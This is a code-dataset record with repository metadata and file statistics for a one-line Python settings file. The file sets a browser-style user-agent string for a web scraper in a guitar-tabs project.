1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

1189a11ba876b35d3fe6a724251af9c076c08bf5

131

py

Python

backend/scraper/settings.py

eladgubkin/MyGuitarTabs

74e524750c2de658874a138d0540abc8143a2c6d

[ "MIT" ]

null

backend/scraper/settings.py

eladgubkin/MyGuitarTabs

74e524750c2de658874a138d0540abc8143a2c6d

[ "MIT" ]

null

backend/scraper/settings.py

eladgubkin/MyGuitarTabs

74e524750c2de658874a138d0540abc8143a2c6d

[ "MIT" ]

null

USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'

65.5

130

0.732824

25

131

3.8

0.84

0.105263

0

0.247863

0.10687

131

1

131

0.564103

0

1

0.877863

0

1

0

false

0

1

0

null

0

1

0

1

0

1

0

1

0

null

0

6